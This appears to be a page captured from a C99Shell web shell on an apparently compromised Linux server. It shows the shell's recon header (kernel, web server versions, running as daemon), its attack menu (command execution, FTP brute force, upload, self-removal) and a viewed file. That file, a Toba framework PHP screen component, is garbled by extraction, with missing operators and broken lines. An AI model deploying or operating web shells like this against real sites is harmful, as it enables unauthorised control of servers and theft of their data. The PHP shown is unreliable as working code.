!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/nucleo/componentes/interface/   drwxrwxr-x
Free 13.79 GB of 61.93 GB (22.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_ei_pantalla.php (27.47 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Una pantalla es la parte gráfica de una etapa del controlador de interface (ci).
 * Es posible acceder a la pantalla desde el ci usando el metodo $this->pantalla()->..
 * 
 * La pantalla se encarga de graficar:
 *  - Un conjunto de dependencias (componentes pertenecientes a la pantalla actual)
 *  - Un conjunto de tabs hacia otras pantalla
 *  - Un conjunto de eventos
 * 
 * @package Componentes
 * @subpackage Eis
 * @jsdoc ci ci
 */
class toba_ei_pantalla extends toba_ei
{
    const 
NAVEGACION_TAB_HORIZONTAL        'tab_h';
    const 
NAVEGACION_TAB_VERTICAL        'tab_v';
    const 
NAVEGACION_WIZARD                'wizard';
    const 
NAVEGACION_BASICA                'basica';
    
    
// Navegacion
    
protected $_info_ci = array();
    protected 
$_info_ci_me_pantalla = array();
    protected 
$_info_pantalla = array();
    protected 
$_lista_tabs = array();
    protected 
$_dependencias;
    protected 
$_nombre_formulario;                    // Nombre del <form> del MT
    
protected $_submit;                                // Boton de SUBMIT
    
protected $_id_en_controlador;
    protected 
$_notificaciones = array();            // Arreglo con notificaciones a mostrar
    
protected $_objetos_pantalla = array();        //Arreglo con info de los objetos asociados
    
protected $_eventos_pantalla = array();        //Arreglo con info de los eventos asociados
    
protected $_navegacion_ajax false;

    final function 
__construct($info_pantalla$submit$objeto_js)
    {
        
parent::__construct($info_pantalla);
        
$this->_nombre_formulario "formulario_toba" ;//Cargo el nombre del <form>
        
$this->_submit $submit;
        
$this->objeto_js $objeto_js;
    }

    
/**
     * @see dependencia
     * @return toba_componente
     */

    
function set_controlador($controlador$id_en_padre=null)
    {
        
$this->controlador $controlador;
        
$this->_id_en_controlador $id_en_padre;
    }    

    
/**
     * @ignore 
     */
    
function pre_configurar()
    {
        
$this->cargar_lista_dep();
        
$this->cargar_lista_tabs();
        
$this->cargar_lista_eventos();
    }
    
    
/**
     * Se aplican las restricciones funcionales posibles para este componente
     * @ignore 
     */
    
protected function aplicar_restricciones_funcionales()
    {
        
parent::aplicar_restricciones_funcionales();
        
        
//-- Restricción funcional pantalla no-visible ------        
        
$no_visibles toba::perfil_funcional()->get_rf_pantallas_no_visibles($this->_id[1]);
        for (
$a 0$a<count($this->_info_ci_me_pantalla);$a++)    {        
            if (
in_array($this->_info_ci_me_pantalla[$a]['pantalla'], $no_visibles)) {
                
$id $this->_info_ci_me_pantalla[$a]["identificador"];
                
$this->_lista_tabs[$id]->ocultar();
                if (isset(
$this->_eventos['cambiar_tab_'.$id])) {
                    unset(
$this->_eventos['cambiar_tab_'.$id]);    //Borra el registro del evento cambio de tab (si aplica)
                
}
            }
        }
        
        
//-- Restricción funcional eis no-visible ------
        
$no_visibles toba::perfil_funcional()->get_rf_eis_no_visibles();
        
$this->_dependencias = array();
        
$lista $this->_lista_dependencias;
        
$this->_lista_dependencias = array();
        foreach (
$lista as $id) {
            
$dep $this->controlador->dependencia($id);
            
$id_dep $dep->get_id();
            if (! 
in_array($id_dep[1], $no_visibles)) {
                
$this->_dependencias[$id] = $this->controlador->dependencia($id);
                
$this->_lista_dependencias[] = $id;    
            }
        }
        
//-----------------------------                
    
}
    
    
/**
     * Retorna la etiqueta de la pantalla actual
     * @return string
     */
    
function get_etiqueta()
    {
        return 
$this->_info_pantalla["etiqueta"];
    }
    
    
/**
     * Cambia la etiqueta de la pantalla actual
     * @param string $nueva
     */
    
function set_etiqueta($nueva)
    {
        
$this->_info_pantalla["etiqueta"] = $nueva;
    }
    
    
/**
     * Cambia el layout actual de la pantalla usando un template
     * @param string $template
     */
    
function set_template($template)
    {
        
$this->_info_pantalla['template'] = $template;
    }
    
    
    
/**
     * Retorna la descripción de esta pantalla
     * @return string
     */
    
function get_descripcion()
    {
        return 
trim($this->_info_pantalla["descripcion"]);
    }

    
/**
     * Cambia la descripción de esta pantalla
     * @param string $descr
     * @param string $tipo Puede ser 'info', 'warning', 'error'
     */
    
function set_descripcion($descr$tipo='info')
    {
        
$this->_info_pantalla["descripcion"] = $descr;
        
$this->_info_pantalla["descripcion_tipo"] = $tipo;
    }
    
    
/**
     * Cambia el tipo de navegación de la pantalla
     *
     * @param mixed $tipo Por ejemplo toba_ei_pantalla::NAVEGACION_TAB_VERTICAL
     */
    
function set_tipo_navegacion($tipo)
    {
        
$this->_info_ci['tipo_navegacion'] = $tipo;
    }
    
    function 
set_navegacion_ajax($set=true)
    {
        
$this->_navegacion_ajax $set;
    }

    
//------------------------------------------------------
    //---------------        Dependencias    ----------------
    //------------------------------------------------------

    /**
     * Agrega una dependencia a esta pantalla.
     * La dependencia tiene que estar asignada al ci actual, este método sólo indica que esta dependencia
     * se graficará en esta pantalla
     * @param string $id_obj ID. de la dependencia en el ci
     */
    
function agregar_dep($id_obj)
    {
        
//--- Chequeo para evitar el bug #389                
        
if ($this->controlador->existe_dependencia($id_obj)) {
            
$this->_lista_dependencias[] = $id_obj;
        } else {
            
toba::logger()->error($this->get_txt(). 
                    
" Se quiere agregar la dependencia '$id_obj', pero esta no está definida en el CI");
        }
        
//--- Por si ya estamos en la etapa de servicios
        
if (is_array($this->_dependencias)) {
            
$this->_dependencias[$id_obj] = $this->controlador->dependencia($id_obj);    
        }
    }

    
/**
     * Determina que una dependencia no será mostrada en la pantalla actual
     * @param string $id ID. de la dependencia en el ci
     */
    
function eliminar_dep($id)
    {
        if (
in_array($id$this->_lista_dependencias)) {
            
array_borrar_valor($this->_lista_dependencias$id);
        } else {
            throw new 
toba_error_def($this->get_txt(). 
                    
" Se quiere eliminar la dependencia '$id', pero esta no está en la pantalla actual");
        }
        
//--- Por si ya estamos en la etapa de servicios
        
if (isset($this->_dependencias[$id])) {
            unset(
$this->_dependencias[$id]);
        }
    }
        
    
/**
     * Retorna los ID de las dependencias que se utilizan en esta pantalla
     * @return array
     */
    
function get_lista_dependencias()
    {
        return 
$this->_lista_dependencias;
    }
    
    
/**
     * Retorna verdadero si la dependencia se va a mostrar en esta pantalla
     * @return boolean
     */
    
function existe_dependencia($nombre_dep)
    {
        
$lista_dep $this->get_lista_dependencias();
        return 
in_array($nombre_dep$lista_dep);
    }
    
    
    
/**
     * @ignore 
     */
    
protected function cargar_lista_dep()
    {
        
$id_actual $this->_info_pantalla['identificador'];
        foreach(
$this->_objetos_pantalla as $dep)
        {
            if (
$dep['identificador_pantalla'] == $id_actual){
                    
$this->agregar_dep($dep['identificador_dep']);
            }
        }
    }

    
//----------------------------------------------
    //---------------        TABS    ----------------
    //----------------------------------------------
    
    /**
     * Acceso a un tab o solapa específico
     * Un tab representa el posible acceso a una pantalla distinta a la actual
     * @param string $id Identificador de la pantalla
     * @return toba_tab Objeto toba_tab que representa al tab o solapa
     */
    
function tab($id)
    {
        if(isset(
$this->_lista_tabs[$id])){
            return 
$this->_lista_tabs[$id];    
        } else {
            throw new 
toba_error_def($this->get_txt(). " El tab '$id' no existe.");
        }
    }
    
    
/**
     * Elimina un tab especifico
     * La consecuencia es que ya no es posible accederlo más durante el pedido de página actual, 
     * y al momento de graficar la barra de tabs, no será incluido
     * Si lo que se quiere hacer es desactivar el tab (que se vea pero no se puede acceder), usar el metodo toba_tab::desactivar()
     * @param string $id Identificador de la pantalla
     * @see toba_tab::desactivar()
     */
    
function eliminar_tab($id)
    {
        
/*if($id == $this->_id_en_controlador ) {
            throw new toba_error_def($this->get_txt(). 
                    'No es posible eliminar el tab correspondiente a la pantalla que se esta mostrando');
        }*/
        
if (isset($this->_lista_tabs[$id])) {
            unset(
$this->_lista_tabs[$id]);
        } else {
            throw new 
toba_error_def($this->get_txt(). 
                    
" Se quiere eliminar el tab '$id', pero esta no está en la pantalla actual");
        }
    }
    
    
/**
     * Retorna la lista de tabs de la pantalla actual
     * @return array de toba_tab
     */
    
function get_lista_tabs()
    {
        
//-- Restricción funcional pantalla no-visible ------
        //Se modifica el metodo para que el ci almacene la lista de tabs modificados por las restricciones (caso wizard)        
        
$lista = array();
        
$no_visibles toba::perfil_funcional()->get_rf_pantallas_no_visibles($this->_id[1]);
        for (
$a 0$a<count($this->_info_ci_me_pantalla);$a++)    {
            
$id $this->_info_ci_me_pantalla[$a]["identificador"];
            if (!
in_array($this->_info_ci_me_pantalla[$a]['pantalla'], $no_visibles)) {
                if (isset(
$this->_lista_tabs[$id])) {
                    
$lista[$id] = $this->_lista_tabs[$id];
                }
            }
        }        
        return 
$lista;
    }

    
/**
     * Carga la lista de botones que representan a las pestañas o tabs que se muestran en la pantalla actual
     * @ignore 
     */
    
protected function cargar_lista_tabs()
    {
        
$this->_lista_tabs = array();
        for(
$a 0$a<count($this->_info_ci_me_pantalla);$a++)
        {
            
$id $this->_info_ci_me_pantalla[$a]["identificador"];
            
$datos['identificador'] = $id;
            
$datos['etiqueta'] = $this->_info_ci_me_pantalla[$a]["etiqueta"];
            
$datos['ayuda'] = $this->_info_ci_me_pantalla[$a]["tip"];
            
$datos['imagen'] = $this->_info_ci_me_pantalla[$a]["imagen"];
            
$datos['imagen_recurso_origen'] = $this->_info_ci_me_pantalla[$a]["imagen_recurso_origen"];
            
$this->_lista_tabs[$id] = new toba_tab($datos);
        }
    }    
    
    
//---------------------------------------------
    //---------------    EVENTOS    ----------------
    //---------------------------------------------

    /**
     * Carga la lista de eventos definidos desde el administrador 
     * La redefinicion filtra solo aquellos utilizados en esta pantalla
     * y agrega los tabs como eventos
     * @ignore 
     */
    
protected function cargar_lista_eventos()
    {
        
//--- Filtra los eventos definidos por el usuario segun la asignacion a pantallas
        
parent::cargar_lista_eventos();

        if (isset(
$this->_evento_implicito)) {
            
//Si el evento implicito no esta en esta pantalla, no usarlo            
            
$id $this->_evento_implicito->get_id();
            if (! isset(
$this->_eventos_usuario_utilizados[$id])) {
                unset(
$this->_evento_implicito);
            }
        }        
        
        
//Como los eventos de pantalla vienen indexados por identificador (al igual que los utilizados por el usuario) podemos usar eso a nuestro favor
        // en lugar de hacer el tipico ciclo, asi obtenemos los eventos usados por el usuario en una linea.
        
$this->_eventos_usuario_utilizados array_intersect_key($this->_eventos_usuario_utilizados$this->_eventos_pantalla);
        
        
//-- Agrega los eventos internos relacionados con la navegacion tabs
        
switch($this->_info_ci['tipo_navegacion']) {
            case 
self::NAVEGACION_TAB_HORIZONTAL:
            case 
self::NAVEGACION_TAB_VERTICAL:
                foreach (
$this->_lista_tabs as $id => $tab) {
                    
$this->registrar_evento_cambio_tab($id);
                }
                break;
            case 
self::NAVEGACION_WIZARD:
                list(
$anterior$siguiente) = array_elem_limitrofes(array_keys($this->get_lista_tabs()),
                                                                    
$this->_info_pantalla['identificador']);
                if (
$anterior !== false) {
                    
$e = new toba_evento_usuario();
                    
$e->set_id('cambiar_tab__anterior');
                    
$e->set_etiqueta('< &Anterior');
                    
$e->set_estilo_css('ei-boton-izq');
                    
$e->set_maneja_datos(false);
                    
$this->_eventos_usuario$e->get_id() ] = $e;                //Lista de eventos
                    
$nuevo[$e->get_id()] = $e;
                    
$this->_eventos_usuario_utilizados array_merge($nuevo$this->_eventos_usuario_utilizados);
                    
//$this->_eventos_usuario_utilizados[ $e->get_id() ] = $e;    //Lista de utilizados
                
}
                if (
$siguiente !== false) {
                    
$e = new toba_evento_usuario();
                    
$e->set_id('cambiar_tab__siguiente');
                    
$e->set_etiqueta('&Siguiente >');
                    
$this->_eventos_usuario$e->get_id() ] = $e;                //Lista de eventos
                    
$this->_eventos_usuario_utilizados$e->get_id() ] = $e;    //Lista de utilizados
                
}
                break;
        }        
    }

    
/**
     * Deja registrado en el componente que en el cliente (javascript) se va a consumir el api de cambio de tabs
     * Esto es necesario explitarlo cuando la forma de navegación no es a través de tabs
     * @param string $id Id. de la pantalla a la que se va permitir cambiar en el cliente
     */
    
function registrar_evento_cambio_tab($id)
    {
        
$this->_eventos['cambiar_tab_'.$id] = array('maneja_datos' => true);        
    }

    
//--------------------------------------------------------------------
    //    API para posicionar la botonera
    //--------------------------------------------------------------------

    /**
     * Posiciona la botonera en la parte inferior del ci
     * @return array
     */
    
function posicionar_botonera_abajo()
    {
        
$this->_posicion_botonera 'abajo';
    }
    
    
/**
     * Posiciona la botonera en la parte superior del ci
     * @return array
     */
    
function posicionar_botonera_arriba()
    {
        
$this->_posicion_botonera 'arriba';
    }
    
    
/**
     * Posiciona la botonera en la parte inferior y superior del ci
     * @return array
     */
    
function posicionar_botonera_ambos()
    {
        
$this->_posicion_botonera 'ambos';
    }    
    
    
//---------------------------------------------------------------
    //-------------------------- SALIDA HTML --------------------------
    //----------------------------------------------------------------
    
    /**
     * Genera el html de todo el componente, incluyendo hiddens necesarios para el correcto funcionamiento del componente
     */
    
function generar_html()
    {
        echo 
"\n<!-- ################################## Inicio CI ( ".$this->_id[1]." ) ######################## -->\n\n";        
        
$ancho = isset($this->_info_ci["ancho"]) ? "style='width:{$this->_info_ci["ancho"]};'" '';
        echo 
"<table class='ei-base ci-base' $ancho id='{$this->objeto_js}_cont'><tr><td style='padding:0;'>\n";
        echo 
$this->controlador->get_html_barra_editor();
        
$class_extra '';
        if (
$this->_info_ci['tipo_navegacion'] == self::NAVEGACION_TAB_HORIZONTAL) {
            
$class_extra 'ci-barra-sup-tabs';
        }
        
$this->generar_html_barra_sup(null,true,"ci-barra-sup $class_extra");
        
$colapsado = (isset($this->_colapsado) && $this->_colapsado) ? "style='display:none'" "";
        echo 
"<div $colapsado id='cuerpo_{$this->objeto_js}'>\n";
        
        
//-->Listener de eventos
        
if ( (count($this->_eventos) > 0) || (count($this->_eventos_usuario_utilizados) > 0) ) {
            echo 
toba_form::hidden($this->_submit'');
            echo 
toba_form::hidden($this->_submit."__param"'');
        }
        
        
//--> Cuerpo del CI
        
$alto = isset($this->_info_ci["alto"]) ? "style='_height:".$this->_info_ci["alto"].";min-height:" $this->_info_ci["alto"] . "'" "";
        echo 
"<div class='ci-cuerpo box' $alto>\n";
        
$this->generar_html_cuerpo();
        echo 
"</div>\n";
        
        
//--> Botonera
        
if($this->botonera_abajo()) {
            
$this->generar_botones('ci-botonera ci-botonera-abajo');
        }
        if ( 
$this->_utilizar_impresion_html ) {
            
$this->generar_utilidades_impresion_html();
        }        
        
        echo 
"\n</div>";
        echo 
"</td></tr></table>";
        echo 
"\n<!-- ###################################  Fin CI  ( ".$this->_id[1]." ) ######################## -->\n\n";
    }

    
/**
     * Genera el html de la barra tabs, el toc (si tiene) y el contenido de las dependencias actuales
     * @ignore 
     */
    
protected function generar_html_cuerpo()
    {
        switch(
$this->_info_ci['tipo_navegacion'])
        {
            case 
self::NAVEGACION_TAB_HORIZONTAL:                                    //*** TABs horizontales
                
echo "<table class='tabla-0' width='100%'>\n";
                
//Tabs
                
$estilo 'background: url("'.toba_recurso::imagen_skin('tabs/bg.gif').'") repeat-x bottom;';
                echo 
"<tr><td class='ci-tabs-h-lista'>";
                
$this->generar_tabs_horizontales();
                echo 
"</td></tr>\n";
                
//Interface de la etapa correspondiente
                
echo "<tr><td class='ci-tabs-h-cont'>";
                
$this->generar_html_contenido();
                echo 
"</td></tr>\n";
                echo 
"</table>\n";
                break;                
            case 
self::NAVEGACION_TAB_VERTICAL:                                     //*** TABs verticales
                
echo "<table class='tabla-0' width='100%'>\n";
                echo 
"<tr><td class='ci-tabs-v-lista'>";
                
$this->generar_tabs_verticales();
                echo 
"</td>";
                echo 
"<td class='ci-tabs-v-cont'>";
                
$this->generar_html_contenido();
                echo 
"</td></tr>\n";
                echo 
"</table>\n";
                break;                
            case 
self::NAVEGACION_WIZARD:                                     //*** Wizard (secuencia estricta hacia adelante)
                
echo "<table class='tabla-0'>\n";
                echo 
"<tr><td class='ci-wiz-toc'>";
                if (
$this->_info_ci['con_toc']) {
                    
$this->generar_toc_wizard();
                }
                echo 
"</td>";
                echo 
"<td class='ci-wiz-cont'>";
                
$this->generar_html_contenido();
                echo 
"</td></tr>\n";
                echo 
"</table>\n";
                break;                
            default:                                        
//*** Sin mecanismo de navegacion
                
echo "<div class='ci-simple-cont box-body'>";
                
$this->generar_html_contenido();
                echo 
"</div>";
        }
    }

    
/**
     * Grafica el contenido de la pantalla actual, por defecto incluye una sección de descripción
     * @ignore 
     */
    
protected function generar_html_contenido()
    {
        
//--- Descripcion de la PANTALLA
        
$es_wizard $this->_info_ci['tipo_navegacion'] == 'wizard';
        if (
$this->_info_pantalla['descripcion'] !="" || $es_wizard) {
            
$tipo = isset($this->_info_pantalla['descripcion_tipo']) ? $this->_info_pantalla['descripcion_tipo'] : null;            
            if (
$es_wizard) {
                echo 
"<div class='ci-wiz-enc'><div class='ci-wiz-titulo'>";
                echo 
$this->get_etiqueta();
                echo 
"</div>";
                if (
$this->_info_pantalla['descripcion'] != "") {
                    
$this->generar_html_descripcion($this->_info_pantalla['descripcion'], $tipo);    
                }                
                foreach (
$this->_notificaciones as $notificacion){
                    
$this->generar_html_descripcion($notificacion['mensaje'], $notificacion['tipo']);
                }
                echo 
"</div>";
            } else {
                
$this->generar_html_descripcion($this->_info_pantalla['descripcion'], $tipo);
                foreach (
$this->_notificaciones as $notificacion){
                    
$this->generar_html_descripcion($notificacion['mensaje'], $notificacion['tipo']);
                }
            }
            echo 
"<div class='ci-pant-sep'></div>\n";
        }
        
$this->generar_layout();
        echo 
"<div id='{$this->objeto_js}_pie'></div>";
    }
    
    
/**
     * Dispara la generación de html de los objetos contenidos en esta pantalla
     * Extender en caso de querer modificar la totalidad del contenido de la pantalla
     */    
    
protected function generar_layout()
    {
        if (!isset(
$this->_info_pantalla['template']) || trim($this->_info_pantalla['template']) == '') {    
            
$existe_previo 0;
            foreach(
$this->_dependencias as $dep) {
                if(
$existe_previo){ //Separador
                    
echo "<div class='ci-pant-sep-ei'></div>\n";
                }
                
$dep->generar_html();    
                
$existe_previo 1;
            }
        } else {
            
$this->generar_layout_template();
        }
    }
    
    protected function 
generar_layout_template()
    {
        
$restantes array_keys($this->_dependencias);        
        
//Parseo del template
        
$pattern '/\[dep([\s\w+=\w+]+)\]/i';
        if (
preg_match_all($pattern$this->_info_pantalla['template'], $resultado)) {
            
$salida $this->_info_pantalla['template'];
            if (
count($resultado[0]) > count($restantes)) {        //Para cuando se hizo un pantalla->eliminar_dep();
                
toba::logger()->debug(' Dependencias Template:');
                
toba::logger()->var_dump($resultado[0]);
                throw new 
toba_error_def($this->get_txt(). " Template incompleto, faltan dependencias en la pantalla:");
            }
            for (
$i=0$i count($resultado[0]); $i++) {
                
$original $resultado[0][$i];
                
$atributos = array();
                foreach (
explode(' ',trim($resultado[1][$i])) as $atributo) {
                    
$partes explode('='$atributo);
                    
$atributos[$partes[0]] = $partes[1];
                }
                if (! isset(
$atributos['id'])) {
                    throw new 
toba_error_def($this->get_txt()."Tag [dep] incorrecto, falta atributo id");
                }
                if (isset(
$this->_dependencias[$atributos['id']])) {
                    
ob_start();
                    
$this->_dependencias[$atributos['id']]->generar_html();
                    
$html ob_get_clean();
                    
$salida str_replace($original$html$salida);
                    
array_borrar_valor($restantes$atributos['id']);
                }
            }
            echo 
$salida;
        } else {
            echo 
$this->_info_pantalla['template'];
        }
        if (! empty(
$restantes)) {
            
$faltan implode(', '$restantes);
            throw new 
toba_error_def($this->get_txt(). " Template incompleto, falta incluir las siguientes dependencias: $faltan");
        }        
    }

    
/**
     * Genera la tabla de contenidos del modo navegacion wizard
     * @ignore 
     */
    
protected function generar_toc_wizard()
    {
        echo 
"<ol class='ci-wiz-toc-lista'>";
        
$pasada true;
        foreach (
$this->_lista_tabs as $id => $pantalla) {
            if (
$pasada)
                
$clase 'ci-wiz-toc-pant-pasada';
            else
                
$clase 'ci-wiz-toc-pant-futuro';            
            if (
$id == $this->_id_en_controlador) {
                
$clase 'ci-wiz-toc-pant-actual';
                
$pasada false;
            }
            echo 
"<li class='$clase'>";
            echo 
$pantalla->get_etiqueta();
            echo 
"</li>";
        }        
        echo 
"</ol>";
    }
    
    
/**
     * @ignore 
     */
    
protected function generar_tabs_horizontales()
    {
        echo 
"<ul>\n";
        foreach( 
$this->_lista_tabs as $id => $tab ) {
            
$editor '';
            if (
toba_editor::modo_prueba()) {
                
$editor toba_editor::get_vinculo_pantalla($this->_id$this->_info['clase_editor_item'], $id)."\n";
            }            
            echo 
$tab->get_html('H'$this->_submit$this->objeto_js, ($this->_id_en_controlador == $id), $editor );
        }
        echo 
"</ul>";
    }

    
/**
     * @ignore 
     */    
    
protected function generar_tabs_verticales()
    {
        echo 
"<div  class='ci-tabs-v-margen-sup'> </div>";
        foreach( 
$this->_lista_tabs as $id => $tab ) {
            
$editor '';
            if (
toba_editor::modo_prueba()) {
                
$editor toba_editor::get_vinculo_pantalla($this->_id$this->_info['clase_editor_item'], $id)."\n";
            }
            echo 
$tab->get_html('V'$this->_submit$this->objeto_js, ($this->_id_en_controlador == $id), $editor);
        }
        echo 
"<div class='ci-tabs-v-solapa' style='height:99%;'></div>";
    }
    
    
/**
     * @ignore 
     */    
    
protected function generar_utilidades_impresion_html()
    {
        
$id_frame "{$this->_submit}_print";
        echo 
"<iframe style='position:absolute;width: 0px; height: 0px; border-style: none;' "
            
."name='$id_frame' id='$id_frame' src='about:blank'></iframe>";
        echo 
toba_js::abrir();
        echo 
"
        function imprimir_html( url, forzar_popup )
        {
            var usar_popup = (forzar_popup) ? true : false ;
            var f = window.frames.
$id_frame.document;
            if ( f && !usar_popup ) {
                var html = '';
                html += '<html>';
                html += '<body onload=\"parent.printFrame(window.frames.urlToPrint);\">';
                html += '<iframe name=\"urlToPrint\" src=\"' + url + '\"><\/iframe>';
                html += '<\/body><\/html>';
                f.open();
                f.write(html);
                f.close();
            } else {
                solicitar_item_popup( url, 650, 500, 'yes', 'yes');
            }
        }
        function printFrame (frame) {
          if (frame.print) {
            frame.focus();
            frame.print();
          }
        }
        "
;
        echo 
toba_js::cerrar();
    }

    
//-------------------------------------------------------------------------------
    //---- JAVASCRIPT ---------------------------------------------------------------
    //-------------------------------------------------------------------------------

    /**
     * Retorna los consumos javascript requerido por este objeto y sus dependencias
     * @return array
     * @ignore 
     */
    
function get_consumo_javascript()
    {
        
$consumo_js parent::get_consumo_javascript();
        
$consumo_js[] = 'basicos/ajax_respuesta';        
        
$consumo_js[] = 'componentes/ci';
        foreach(
$this->_dependencias as $dep) {
            
$temp $dep->get_consumo_javascript();
            if (isset(
$temp)) {
                
$consumo_js array_merge($consumo_js$temp);
            }
        }
        return 
$consumo_js;
    }

    
/**
     * @ignore 
     */    
    
protected function crear_objeto_js()
    {
        
$id toba_js::arreglo($this->_idfalse);
        
$identado toba_js::instancia()->identado();    
        
$ajax toba_js::bool($this->_navegacion_ajax);
        
//Crea le objeto CI
        
echo $identado."window.{$this->objeto_js} = new ci($id, '{$this->objeto_js}', '{$this->_nombre_formulario}', '{$this->_submit}', '{$this->_id_en_controlador}', $ajax);\n";

        
//Agrega la lista de pantallas con las que trabaja el ci
        
toba_js::instancia()->identar(1);                
        if (
$this->_info_ci['tipo_navegacion'] == self::NAVEGACION_TAB_HORIZONTAL || $this->_info_ci['tipo_navegacion']  ==  self::NAVEGACION_TAB_VERTICAL) {
            
$pantallas_activas = array();
            foreach(
$this->_lista_tabs as $id => $tab) {
                
$pantallas_activas[$id] = $tab->esta_activado();
            }
            echo 
$identado."window.{$this->objeto_js}.agregar_pantallas(".toba_js::arreglo($pantallas_activastrue)."); \n";
        }
                
        
//Crea los objetos hijos        
        
$objetos = array();        
        foreach(
$this->_dependencias as $id => $dep) {
            
$objetos[$id] = $dep->generar_js();
        }
        
$identado toba_js::instancia()->identar(-1);        
        
//Agrega a los objetos hijos
        //ATENCION: Esto no permite tener el mismo formulario instanciado dos veces
        
echo "\n";
        foreach (
$objetos as $id => $objeto) {
            echo 
$identado."window.{$this->objeto_js}.agregar_objeto($objeto, '$id');\n";
        }
    }

    
/**
     * @ignore 
     */    
    
function generar_js()
    {
        
$identado toba_js::instancia()->identado();
        echo 
"\n$identado//---------------- CREANDO OBJETO {$this->objeto_js} --------------  \n";
        
$this->crear_objeto_js();
        
$this->controlador->extender_objeto_js();
        
$this->extender_objeto_js();
        echo 
"\n";
        
$this->iniciar_objeto_js();
        echo 
"$identado//-----------------------------------------------------------------  \n";        
        return 
$this->objeto_js;
    }

    
//---------------------------------------------------------------
    //------------------------ SALIDA Impresion ---------------------
    //---------------------------------------------------------------
    
    
function vista_impresion_htmltoba_impresion $salida )
    {
        if (!isset(
$this->_info_pantalla['template_impresion']) || trim($this->_info_pantalla['template_impresion']) == '') {
            
$salida->titulo$this->controlador->get_titulo() );
            foreach(
$this->_dependencias as $dep) {
                
$dep->vista_impresion_html$salida );
            }
        } else {
            
$this->generar_layout_template_impresion($salida);
        }
    }

    function 
generar_layout_template_impresion(toba_impresion $obj_salida)
    {
        
$restantes array_keys($this->_dependencias);
        
//Parseo del template
        
$pattern '/\[dep([\s\w+=\w+]+)\]/i';
        if (
preg_match_all($pattern$this->_info_pantalla['template_impresion'], $resultado)) {
            
$salida $this->_info_pantalla['template_impresion'];
            for (
$i=0$i count($resultado[0]); $i++) {
                
$original $resultado[0][$i];
                
$atributos = array();
                foreach (
explode(' ',trim($resultado[1][$i])) as $atributo) {
                    
$partes explode('='$atributo);
                    
$atributos[$partes[0]] = $partes[1];
                }
                if (! isset(
$atributos['id'])) {
                    throw new 
toba_error_def($this->get_txt()."Tag [dep] incorrecto, falta atributo id");
                }
                if (isset(
$this->_dependencias[$atributos['id']])) {
                    
ob_start();
                    
$this->_dependencias[$atributos['id']]->vista_impresion_html($obj_salida);
                    
$html ob_get_clean();
                    
$salida str_replace($original$html$salida);
                    
array_borrar_valor($restantes$atributos['id']);
                }
            }
            echo 
$salida;
        } else {
            echo 
$this->_info_pantalla['template_impresion'];
        }
        if (! empty(
$restantes)) {
            
$faltan implode(', '$restantes);
            throw new 
toba_error_def($this->get_txt(). " Template de impresión incompleto, falta incluir las siguientes dependencias: $faltan");
        }
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4897 ]--